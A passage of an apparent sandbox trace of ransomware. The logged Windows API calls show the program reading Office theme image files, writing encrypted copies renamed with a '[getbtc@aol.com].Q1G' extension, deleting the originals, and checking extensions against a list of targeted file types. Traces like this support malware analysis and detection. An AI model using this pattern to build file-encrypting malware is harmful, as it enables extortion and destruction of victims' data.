lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.189] SetEndOfFile (hFile=0x184) returned 1 [0048.189] CloseHandle (hObject=0x184) returned 1 [0048.189] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.189] SetEndOfFile (hFile=0x210) returned 1 [0048.189] CloseHandle (hObject=0x210) returned 1 [0048.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.190] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0048.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.190] lstrlenW (lpString=".doc") returned 4 [0048.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.190] lstrlenW (lpString=".docx") returned 5 [0048.190] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.190] lstrlenW (lpString=".pdf") returned 4 [0048.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.190] lstrlenW (lpString=".xls") returned 4 [0048.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.190] lstrlenW (lpString=".xlsx") returned 5 [0048.190] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.190] lstrlenW (lpString=".ppt") returned 4 [0048.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.190] lstrlenW (lpString=".zip") returned 4 [0048.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.190] lstrlenW (lpString=".rar") returned 4 [0048.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.190] lstrlenW (lpString=".bz2") returned 4 [0048.190] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.191] lstrlenW (lpString=".7z") returned 3 [0048.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.191] lstrlenW (lpString=".dbf") returned 4 [0048.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.191] lstrlenW (lpString=".1cd") returned 4 [0048.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.191] lstrlenW (lpString=".jpg") returned 4 [0048.191] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.191] lstrlenW (lpString=".doc") returned 4 [0048.191] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.191] lstrlenW (lpString=".docx") returned 5 [0048.191] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.191] lstrlenW (lpString=".pdf") returned 4 [0048.191] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.191] lstrlenW (lpString=".xls") returned 4 [0048.191] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.191] lstrlenW (lpString=".xlsx") returned 5 [0048.191] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.191] lstrlenW (lpString=".ppt") returned 4 [0048.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.191] lstrlenW (lpString=".zip") returned 4 [0048.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.191] lstrlenW (lpString=".rar") returned 4 [0048.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.191] lstrlenW (lpString=".bz2") returned 4 [0048.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.191] lstrlenW (lpString=".7z") returned 3 [0048.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.192] lstrlenW (lpString=".dbf") returned 4 [0048.192] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.192] lstrlenW (lpString=".1cd") returned 4 [0048.192] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.192] lstrlenW (lpString=".jpg") returned 4 [0048.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.192] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.192] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.672] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1666) returned 1 [0048.672] CloseHandle (hObject=0x1a0) returned 1 [0048.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0048.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.672] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.673] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.673] GetLastError () returned 0x0 [0048.673] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x682, lpOverlapped=0x0) returned 1 [0048.674] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x690, lpOverlapped=0x0) returned 1 [0048.675] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.675] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.675] SetEndOfFile (hFile=0x21c) returned 1 [0048.676] CloseHandle (hObject=0x21c) returned 1 [0048.676] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.676] SetEndOfFile (hFile=0x1a0) returned 1 [0048.676] CloseHandle (hObject=0x1a0) returned 1 [0048.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.677] lstrlenW (lpString=".doc") returned 4 [0048.677] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.677] lstrlenW (lpString=".docx") returned 5 [0048.677] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.677] lstrlenW (lpString=".pdf") returned 4 [0048.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.677] lstrlenW (lpString=".xls") returned 4 [0048.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.677] lstrlenW (lpString=".xlsx") returned 5 [0048.677] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.677] lstrlenW (lpString=".ppt") returned 4 [0048.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.677] lstrlenW (lpString=".zip") returned 4 [0048.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.677] lstrlenW (lpString=".rar") returned 4 [0048.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.677] lstrlenW (lpString=".bz2") returned 4 [0048.677] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.678] lstrlenW (lpString=".7z") returned 3 [0048.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString=".dbf") returned 4 [0048.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString=".1cd") returned 4 [0048.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString=".jpg") returned 4 [0048.678] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString=".doc") returned 4 [0048.678] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.678] lstrlenW (lpString=".docx") returned 5 [0048.678] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.678] lstrlenW (lpString=".pdf") returned 4 [0048.678] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.678] lstrlenW (lpString=".xls") returned 4 [0048.678] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.678] lstrlenW (lpString=".xlsx") returned 5 [0048.678] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.678] lstrlenW (lpString=".ppt") returned 4 [0048.678] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString=".zip") returned 4 [0048.678] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.678] lstrlenW (lpString=".rar") returned 4 [0048.678] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.678] lstrlenW (lpString=".bz2") returned 4 [0048.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.678] lstrlenW (lpString=".7z") returned 3 [0048.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.678] lstrlenW (lpString=".dbf") returned 4 [0048.679] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.679] lstrlenW (lpString=".1cd") returned 4 [0048.679] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.679] lstrlenW (lpString=".jpg") returned 4 [0048.679] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.679] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.679] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.679] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=3970) returned 1 [0048.679] CloseHandle (hObject=0x1a0) returned 1 [0048.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0048.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.680] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.680] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.681] GetLastError () returned 0x0 [0048.681] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xf82, lpOverlapped=0x0) returned 1 [0048.683] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0048.683] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.683] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.684] SetEndOfFile (hFile=0x21c) returned 1 [0048.684] CloseHandle (hObject=0x21c) returned 1 [0048.684] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.684] SetEndOfFile (hFile=0x1a0) returned 1 [0048.685] CloseHandle (hObject=0x1a0) returned 1 [0048.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0048.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.685] lstrlenW (lpString=".doc") returned 4 [0048.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.685] lstrlenW (lpString=".docx") returned 5 [0048.685] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.685] lstrlenW (lpString=".pdf") returned 4 [0048.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.685] lstrlenW (lpString=".xls") returned 4 [0048.685] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.685] lstrlenW (lpString=".xlsx") returned 5 [0048.685] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.685] lstrlenW (lpString=".ppt") returned 4 [0048.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString=".zip") returned 4 [0048.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.686] lstrlenW (lpString=".rar") returned 4 [0048.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.686] lstrlenW (lpString=".bz2") returned 4 [0048.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.686] lstrlenW (lpString=".7z") returned 3 [0048.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString=".dbf") returned 4 [0048.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString=".1cd") returned 4 [0048.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString=".jpg") returned 4 [0048.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString=".doc") returned 4 [0048.686] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.686] lstrlenW (lpString=".docx") returned 5 [0048.686] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.686] lstrlenW (lpString=".pdf") returned 4 [0048.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.686] lstrlenW (lpString=".xls") returned 4 [0048.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.686] lstrlenW (lpString=".xlsx") returned 5 [0048.686] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.686] lstrlenW (lpString=".ppt") returned 4 [0048.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.686] lstrlenW (lpString=".zip") returned 4 [0048.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.687] lstrlenW (lpString=".rar") returned 4 [0048.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.687] lstrlenW (lpString=".bz2") returned 4 [0048.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.687] lstrlenW (lpString=".7z") returned 3 [0048.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.687] lstrlenW (lpString=".dbf") returned 4 [0048.687] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.687] lstrlenW (lpString=".1cd") returned 4 [0048.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.687] lstrlenW (lpString=".jpg") returned 4 [0048.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.687] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.687] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.687] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=53115) returned 1 [0048.688] CloseHandle (hObject=0x1a0) returned 1 [0048.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0048.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.688] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.688] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.688] GetLastError () returned 0x0 [0048.688] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0048.690] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0048.692] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, 